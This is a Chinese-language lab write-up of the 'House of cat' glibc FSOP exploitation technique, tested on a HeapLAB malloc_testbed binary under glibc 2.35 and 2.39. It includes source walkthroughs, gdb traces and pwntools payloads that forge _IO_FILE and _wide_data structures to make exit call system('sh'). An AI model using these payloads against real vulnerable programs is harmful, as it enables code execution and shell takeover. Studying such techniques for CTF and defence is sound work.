前言

House of cat 利用了 House of emma 的虚表偏移修改思想,通过修改虚表指针的偏移,避免了对需要绕过 TLS 上 _pointer_chk_guard 的检测相关的IO函数的调用,转而调用 _IO_wfile_jumps 中的 _IO_wfile_seekoff 函数,然后进入到 _IO_switch_to_wget_mode 函数中来攻击

House of cat 技巧描述的是对该 IO 函数的调用,对于 IO 利用来说,一方面是如何触发,触发的vtable函数偏移是多少,另一方面是,如何伪造 IO 结构,来触发我们想要触发的函数执行我们想要的流程

这里将基于源码调试来完成对比(2.35和2.39版本),和伪造IO结构的构造过程

2.35和2.39区别不大,但是将2.35的结构用在2.39上,遇到了一些问题,这里分享一下分析和解决过程

利用条件

  1. 能够任意写一个可控地址。
  2. 能够泄露堆地址和libc地址。
  3. 能够触发IO流

    • FSOP,
    • 触发__malloc_assert,
    • 程序中存在puts等能进入IO链的函数,执行IO相关函数。

实验环境介绍

  • malloc_testbed(libc2.35,libc2.39)
  • wsl + gdb + pwntools

malloc_testbed 是一个测试堆利用的程序,是标准的菜单题模板,这里介绍用到的几个选项:

  1. malloc是申请指定大小内存保存在数组里并返回索引,
  2. free是释放指定索引的内存,存在double free
  3. edit是修改指定索引的内存的内容,存在overflow,uaf
  4. 程序默认提供 libc leak,stack leak,mem leak(这里重点是实验House of cat的调用链,非重点内容就不浪费篇幅了)

该环境存在三种基础漏洞形式,这里假定只存在UAF问题来进行实验探讨

关于如何控制IO指针,就通过基本操作largebin attack来进行

关于触发方式的选择,选择FSOP的方式(因为malloc_assert在2.39下失效了)

glibc_2.35 ➤ ./malloc_testbed                                                                               git:master*

===============
|   HeapLAB   |  Malloc Testbed
===============

puts() @ 0x7f2da448fe50
heap @ 0xb79290
m_array @ 0x7ffee5e01960

1) malloc 0/64
2) calloc 0/64
3) free
4) free address
5) edit
6) read
7) view
8) quit
>

IO 结构介绍

所有的IO都是_IO_FILE_plus结构体

struct _IO_FILE_plus
    +0x0000 file                 : FILE
    +0x00d8 vtable               : const struct _IO_jump_t *

分为FILE结构和一个虚表指针

struct _IO_FILE
    +0x0000 _flags               : int
    +0x0008 _IO_read_ptr         : char *
    +0x0010 _IO_read_end         : char *
    +0x0018 _IO_read_base        : char *
    +0x0020 _IO_write_base       : char *
    +0x0028 _IO_write_ptr        : char *
    +0x0030 _IO_write_end        : char *
    +0x0038 _IO_buf_base         : char *
    +0x0040 _IO_buf_end          : char *
    +0x0048 _IO_save_base        : char *
    +0x0050 _IO_backup_base      : char *
    +0x0058 _IO_save_end         : char *
    +0x0060 _markers             : struct _IO_marker *
    +0x0068 _chain               : struct _IO_FILE *
    +0x0070 _fileno              : int
    +0x0074 _flags2              : int
    +0x0078 _old_offset          : __off_t
    +0x0080 _cur_column          : short unsigned int
    +0x0082 _vtable_offset       : signed char
    +0x0083 _shortbuf            : char [1]
    +0x0088 _lock                : _IO_lock_t *
    +0x0090 _offset              : __off64_t
    +0x0098 __pad1               : void *       //  struct _IO_codecvt *_codecvt;
    +0x00a0 __pad2               : void *       //  struct _IO_wide_data *_wide_data;
    +0x00a8 __pad3               : void *       //  struct _IO_FILE *_freeres_list;
    +0x00b0 __pad4               : void *       //  void *_freeres_buf;
    +0x00b8 __pad5               : size_t
    +0x00c0 _mode                : int
    +0x00c4 _unused2             : char [20]

结构体里的内容如上,ptype版本如下:

type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
} *

一会构造结构的时候会用上,然后就是wide_data:

pwndbg> dt "struct _IO_wide_data"
struct _IO_wide_data
    +0x0000 _IO_read_ptr         : wchar_t *
    +0x0008 _IO_read_end         : wchar_t *
    +0x0010 _IO_read_base        : wchar_t *
    +0x0018 _IO_write_base       : wchar_t *
    +0x0020 _IO_write_ptr        : wchar_t *
    +0x0028 _IO_write_end        : wchar_t *
    +0x0030 _IO_buf_base         : wchar_t *
    +0x0038 _IO_buf_end          : wchar_t *
    +0x0040 _IO_save_base        : wchar_t *
    +0x0048 _IO_backup_base      : wchar_t *
    +0x0050 _IO_save_end         : wchar_t *
    +0x0058 _IO_state            : __mbstate_t
    +0x0060 _IO_last_state       : __mbstate_t
    +0x0068 _codecvt             : struct _IO_codecvt
    +0x00d8 _shortbuf            : wchar_t [1]
    +0x00e0 _wide_vtable         : const struct _IO_jump_t *

调用链分析(2.35)

首先是通过FSOP触发IO调用,这里选择FSOP的方式,意味着我们只需要劫持_IO_LIST_all指针即可,通过largebin attack完成劫持,这一块不是重点,就略了,结果是:

pwndbg> p/x _IO_list_all
$2 = 0x77b290


pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x77b000
Size: 0x290 (with flag bits: 0x291)

Free chunk (largebins) | PREV_INUSE
Addr: 0x77b290
Size: 0x420 (with flag bits: 0x421)
fd: 0x7f54c39df0d0
bk: 0x77b6d0
fd_nextsize: 0x77b6d0
bk_nextsize: 0x7f54c39df660

接下来伪造IO结构的虚表,让FSOP能调用到_IO_wfile_jumps 中的 _IO_wfile_seekoff 函数:

_IO_wfile_jumps:

pwndbg> x/100a &_IO_wfile_jumps
0x7f54c39e0040 <__GI__IO_wfile_jumps>:  0x0     0x0
0x7f54c39e0050 <__GI__IO_wfile_jumps+16>:       0x7f54c387d4e4 <_IO_new_file_finish>    0x7f54c3878677 <__GI__IO_wfile_overflow>
0x7f54c39e0060 <__GI__IO_wfile_jumps+32>:       0x7f54c387737d <__GI__IO_wfile_underflow>       0x7f54c3876218 <__GI__IO_wdefault_uflow>
0x7f54c39e0070 <__GI__IO_wfile_jumps+48>:       0x7f54c3876006 <__GI__IO_wdefault_pbackfail>    0x7f54c3878aa9 <__GI__IO_wfile_xsputn>
0x7f54c39e0080 <__GI__IO_wfile_jumps+64>:       0x7f54c387d10f <__GI__IO_file_xsgetn>   0x7f54c3877d21 <__GI__IO_wfile_seekoff>
0x7f54c39e0090 <__GI__IO_wfile_jumps+80>:       0x7f54c387ee99 <_IO_default_seekpos>    0x7f54c387c1bf <_IO_new_file_setbuf>
0x7f54c39e00a0 <__GI__IO_wfile_jumps+96>:       0x7f54c387891e <__GI__IO_wfile_sync>    0x7f54c3872b4e <_IO_wfile_doallocate>
0x7f54c39e00b0 <__GI__IO_wfile_jumps+112>:      0x7f54c387cd5e <__GI__IO_file_read>     0x7f54c387cd98 <_IO_new_file_write>
0x7f54c39e00c0 <__GI__IO_wfile_jumps+128>:      0x7f54c387c65b <__GI__IO_file_seek>     0x7f54c387c1aa <__GI__IO_file_close>
0x7f54c39e00d0 <__GI__IO_wfile_jumps+144>:      0x7f54c387cd83 <__GI__IO_file_stat>     0x7f54c387f985 <_IO_default_showmanyc>
0x7f54c39e00e0 <__GI__IO_wfile_jumps+160>:      0x7f54c387f98f <_IO_default_imbue>      0x0

该函数位于0x48偏移处,而FSOP会调用虚表偏移0x18处的函数(_IO_OVERFLOW),所以设置vtable为_IO_wfile_jumps+0x30的位置即可

调用_IO_OVERFLOW的过程如下,exit函数会在某个环节调用:_IO_flush_all_lockp

int _IO_flush_all_lockp(int do_lock)
{
    int result = 0;
    FILE *fp;

#ifdef _IO_MTSAFE_IO
    _IO_cleanup_region_start_noarg(flush_cleanup);
    _IO_lock_lock(list_all_lock);
#endif
    // 遍历 _IO_list_all
    for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp->_chain)
    {
        run_fp = fp;
        if (do_lock)
            _IO_flockfile(fp);
        // 条件判断
        // 两组条件,满足其一,就会执行_IO_OVERFLOW
        if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || 
            (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
            ) && _IO_OVERFLOW(fp, EOF) == EOF)
            result = EOF;

        if (do_lock)
            _IO_funlockfile(fp);
        run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
    _IO_lock_unlock(list_all_lock);
    _IO_cleanup_region_end(0);
#endif

    return result;
}

此处的目标是进入_IO_OVERFLOW函数调用,需要满足条件:fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

接下来正式进入_IO_wfile_seekoff的调用链:

off64_t
_IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
{
    off64_t result;
    off64_t delta, new_offset;
    long int count;

    /* Short-circuit into a separate function.  We don't want to mix any
       functionality and we don't want to touch anything inside the FILE
       object. */
    if (mode == 0)
        return do_ftell_wide(fp);

    /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
       offset of the underlying file must be exact.  */
    int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));

    bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp));

    /* Flush unwritten characters.
       (This may do an unneeded write if we seek within the buffer.
       But to be able to switch to reading, we would need to set
       egptr to pptr.  That can't be done in the current design,
       which assumes file_ptr() is eGptr.  Anyway, since we probably
       end up flushing when we close(), it doesn't make much difference.)
       FIXME: simulate mem-mapped files. */
    if (was_writing && _IO_switch_to_wget_mode(fp))
        return WEOF;

这里的目标是调用到_IO_switch_to_wget_mode函数:

int _IO_switch_to_wget_mode(FILE *fp)
{
    if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
        if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)
            return EOF;
...


#define _IO_WOVERFLOW(FP,CH) WJUMP1(__overflow, FP, CH)
Expands to:

((*(__typeof__(((struct _IO_FILE){})._wide_data) *)(((char *)((fp))) + ((size_t)&(((struct _IO_FILE*)0)->_wide_data))))->_wide_vtable->__overflow)(fp, (0xffffffffu))

该函数内部使用了_wide_data中的虚表指针,而_wide_data虚表指针未受保护,可以修改为其他地址的来自己构造指针

这里在满足刚刚的条件的基础之上,还需要满足条件:fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

将_wide_data指向fp结构自己+8的位置,就可以满足这个要求,然后会调用_wide_vtable->__overflow函数

───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
   0x7f53a051c45a <_IO_switch_to_wget_mode+15>    mov    rcx, qword ptr [rax + 0x18]
   0x7f53a051c45e <_IO_switch_to_wget_mode+19>    cmp    qword ptr [rax + 0x20], rcx
   0x7f53a051c462 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+45                <_IO_switch_to_wget_mode+45>

   0x7f53a051c464 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
   0x7f53a051c46b <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
 ► 0x7f53a051c470 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

   0x7f53a051c473 <_IO_switch_to_wget_mode+40>    cmp    eax, -1
   0x7f53a051c476 <_IO_switch_to_wget_mode+43>    je     _IO_switch_to_wget_mode+129                <_IO_switch_to_wget_mode+129>

   0x7f53a051c478 <_IO_switch_to_wget_mode+45>    test   dword ptr [rbx], 0x100
   0x7f53a051c47e <_IO_switch_to_wget_mode+51>    je     _IO_switch_to_wget_mode+131                <_IO_switch_to_wget_mode+131>

   0x7f53a051c480 <_IO_switch_to_wget_mode+53>    mov    rax, qword ptr [rbx + 0xa0]
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────
In file: /home/selph/glibc-self-compile/glibc-2.35/libio/wgenops.c:394
   389
   390 int
   391 _IO_switch_to_wget_mode (FILE *fp)
   392 {
   393   if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
 ► 394     if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
   395       return EOF;
   396   if (_IO_in_backup (fp))
   397     fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
   398   else
   399     {

这里没有vtable的位置校验,可以任意指定,可以设置在我们伪造的IO结构内部,选取没有被使用的_pad5作为函数存放地

于是按照刚刚分析的需求,伪造的结构就出来了:

io_payload = flat({
    0x00:b"  sh\x00",           # _flag
    0x18:pack(0),               # read_base     
    0x20:pack(0),               # write_base     _wide_data.write_base
    0x28:pack(1),               # write_ptr      _wide_data.write_ptr
    0xa0:pack(new_fp+8),        # _wide_data
    0xb8:pack(libc.sym.system),  
    0xc0:pack(0),               # mode
    0xd8:pack(new_vtable),      # vtable
    0xe8:pack(new_fp+0xa0),     # _wide_vtable
},filler=b"\x00")

因为FSOP处理的是IO链表,会挨个处理,所以需要第一个伪造结构来连接这个伪造结构,因为需要能操控0x00位置的_flag为参数(rdi),或者直接能修改到0x00位置也行

调用链分析(2.39)

使用2.35的脚本在2.39上跑,遇到了第一个问题:

Program received signal SIGSEGV, Segmentation fault.
0x00007f700e9ac7f0 in __GI__IO_flush_all () at genops.c:698
698           _IO_flockfile (fp);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 RAX  0x0
 RBX  0x1c516e0 ◂— 0x0
 RCX  0x1
 RDX  0x7f700e932a48 ◂— 0x0
 RDI  0x7ffc9c72ac80 —▸ 0x7f700e9ab181 (flush_cleanup) ◂— endbr64
 RSI  0x0
 R8   0x0
 R9   0x5
 R10  0x8
 R11  0x202
 R12  0x7f700e932740 ◂— 0x7f700e932740
 R13  0x0
 R14  0x7f700eaf1860 (__exit_funcs) ◂— 0x0
 R15  0x0
 RBP  0x0
 RSP  0x7ffc9c72ac80 —▸ 0x7f700e9ab181 (flush_cleanup) ◂— endbr64
 RIP  0x7f700e9ac7f0 (_IO_flush_all+341) ◂— cmp qword ptr [rax + 8], 0
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
 ► 0x7f700e9ac7f0 <_IO_flush_all+341>    cmp    qword ptr [rax + 8], 0
   0x7f700e9ac7f5 <_IO_flush_all+346>    je     _IO_flush_all+171                <_IO_flush_all+171>
    ↓
   0x7f700e9ac746 <_IO_flush_all+171>    mov    dword ptr [rax], 1
   0x7f700e9ac74c <_IO_flush_all+177>    mov    rax, qword ptr [rbx + 0x88]
   0x7f700e9ac753 <_IO_flush_all+184>    mov    qword ptr [rax + 8], r12
   0x7f700e9ac757 <_IO_flush_all+188>    jmp    _IO_flush_all+400                <_IO_flush_all+400>
    ↓
   0x7f700e9ac82b <_IO_flush_all+400>    mov    eax, dword ptr [rbx + 0xc0]
   0x7f700e9ac831 <_IO_flush_all+406>    test   eax, eax
   0x7f700e9ac833 <_IO_flush_all+408>    jle    _IO_flush_all+217                <_IO_flush_all+217>
    ↓
   0x7f700e9ac774 <_IO_flush_all+217>    mov    rcx, qword ptr [rbx + 0x20]
   0x7f700e9ac778 <_IO_flush_all+221>    cmp    qword ptr [rbx + 0x28], rcx
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────
In file: /home/selph/glibc-self-compile/glibc-2.39/libio/genops.c:698
   693 #endif
   694
   695   for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
   696     {
   697       run_fp = fp;
 ► 698       _IO_flockfile (fp);
   699
   700       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   701            || (_IO_vtable_offset (fp) == 0
   702                && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
   703                                     > fp->_wide_data->_IO_write_base))

这里强制要求使用fp结构中的lock结构,所以需要赋值指向一个可用地址

第二个问题在这里:

──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 RAX  0x378
 RBX  0xb19370 ◂— 0x68732020 /* '  sh' */
 RCX  0x0
 RDX  0x7f4142f4b140 (__io_vtables) ◂— 0x0
 RDI  0xb19370 ◂— 0x68732020 /* '  sh' */
 RSI  0xffffffff
 R8   0x0
 R9   0x5
 R10  0x8
 R11  0x202
 R12  0x7f4142f4b4b8 (_IO_wfile_jumps+48) —▸ 0x7f4142dfddf3 (_IO_wdefault_pbackfail) ◂— endbr64
 R13  0x0
 R14  0x7f4142f4c860 (__exit_funcs) ◂— 0x0
 R15  0x0
 RBP  0x0
*RSP  0x7fffaa995690 ◂— 0x3
*RIP  0x7f4142e002b1 (_IO_wfile_seekoff+24) ◂— test ecx, ecx
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
   0x7f4142e002a3 <_IO_wfile_seekoff+10>    push   r12
   0x7f4142e002a5 <_IO_wfile_seekoff+12>    push   rbp
   0x7f4142e002a6 <_IO_wfile_seekoff+13>    push   rbx
   0x7f4142e002a7 <_IO_wfile_seekoff+14>    sub    rsp, 0xa8
   0x7f4142e002ae <_IO_wfile_seekoff+21>    mov    rbx, rdi
 ► 0x7f4142e002b1 <_IO_wfile_seekoff+24>    test   ecx, ecx
   0x7f4142e002b3 <_IO_wfile_seekoff+26>    je     _IO_wfile_seekoff+85                <_IO_wfile_seekoff+85>
    ↓
   0x7f4142e002ee <_IO_wfile_seekoff+85>    call   do_ftell_wide                <do_ftell_wide>

   0x7f4142e002f3 <_IO_wfile_seekoff+90>    jmp    _IO_wfile_seekoff+1517                <_IO_wfile_seekoff+1517>

   0x7f4142e002f8 <_IO_wfile_seekoff+95>    mov    rsi, qword ptr [rax + 0x20]
   0x7f4142e002fc <_IO_wfile_seekoff+99>    cmp    qword ptr [rax + 0x18], rsi
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────
In file: /home/selph/glibc-self-compile/glibc-2.39/libio/wfileops.c:751
   746   long int count;
   747
   748   /* Short-circuit into a separate function.  We don't want to mix any
   749      functionality and we don't want to touch anything inside the FILE
   750      object. */
 ► 751   if (mode == 0)
   752     return do_ftell_wide (fp);
   753
   754   /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
   755      offset of the underlying file must be exact.  */
   756   int must_be_exact = ((fp->_wide_data->_IO_read_base

在_IO_wfile_seekoff中,第四个参数是0,导致在这里一定会从do_ftell_wide返回,追溯发现,在遍历_IO_list_all链表的时候,会取出第一个成员的+0x20偏移处的值赋值给rcx和+0x28偏移:

──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 RAX  0xffffffff
 RBX  0xc03290 ◂— 0x1
 RCX  0x1
 RDX  0x7f4482502a48 ◂— 0x0
 RDI  0xc03290 ◂— 0x1
 RSI  0x0
 R8   0x0
 R9   0x5
 R10  0x8
 R11  0x202
 R12  0x7f4482502740 ◂— 0x7f4482502740
 R13  0x0
 R14  0x7f44826c1860 (__exit_funcs) ◂— 0x0
 R15  0x0
 RBP  0x0
 RSP  0x7ffd773d5ff0 —▸ 0x7f448257b181 (flush_cleanup) ◂— endbr64
*RIP  0x7f448257c774 (_IO_flush_all+217) ◂— mov rcx, qword ptr [rbx + 0x20]
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
   0x7f448257c82b <_IO_flush_all+400>    mov    eax, dword ptr [rbx + 0xc0]
   0x7f448257c831 <_IO_flush_all+406>    test   eax, eax
   0x7f448257c833 <_IO_flush_all+408>    jle    _IO_flush_all+217                <_IO_flush_all+217>
    ↓
 ► 0x7f448257c774 <_IO_flush_all+217>    mov    rcx, qword ptr [rbx + 0x20]
   0x7f448257c778 <_IO_flush_all+221>    cmp    qword ptr [rbx + 0x28], rcx
   0x7f448257c77c <_IO_flush_all+225>    ja     _IO_flush_all+435                <_IO_flush_all+435>

   0x7f448257c782 <_IO_flush_all+231>    jmp    _IO_flush_all+414                <_IO_flush_all+414>
    ↓
   0x7f448257c839 <_IO_flush_all+414>    test   eax, eax
   0x7f448257c83b <_IO_flush_all+416>    jle    _IO_flush_all+489                <_IO_flush_all+489>
    ↓
   0x7f448257c884 <_IO_flush_all+489>    test   dword ptr [rbx], 0x8000
   0x7f448257c88a <_IO_flush_all+495>    jne    _IO_flush_all+277                <_IO_flush_all+277>
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────
In file: /home/selph/glibc-self-compile/glibc-2.39/libio/genops.c:700
   695   for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
   696     {
   697       run_fp = fp;
   698       _IO_flockfile (fp);
   699
 ► 700       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   701            || (_IO_vtable_offset (fp) == 0
   702                && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
   703                                     > fp->_wide_data->_IO_write_base))
   704            )
   705           && _IO_OVERFLOW (fp, EOF) == EOF)

我是通过一个io结构链接伪造的结构,来调用这个函数,所以这里需要对第一个结构完成修改,伪造的结构如下:

io_payload0 = flat({
    0x20:pack(2),
    0x68:pack(new_fp),
    0x88:pack(heap),
    0xc0:p32(0xffffffff),
    0xd8:pack(normal_vtable)
},filler=b"\x00")

io_payload = flat({
    0x00:b"  sh\x00",          # _flag
    0x18:pack(0),           # read_base     
    0x20:pack(0),           # write_base     _wide_data.write_base
    0x28:pack(1),           # write_ptr      _wide_data.write_ptr
    0x88:pack(heap) ,        # lock
    0xa0:pack(new_fp+8),           # _wide_data
    0xb8:pack(libc.sym.system),  
    0xc0:pack(1),           # mode
    0xd8:pack(new_vtable),   # vtable
    0xe8:pack(new_fp+0xa0),           # _wide_vtable
},filler=b"\x00")

参考资料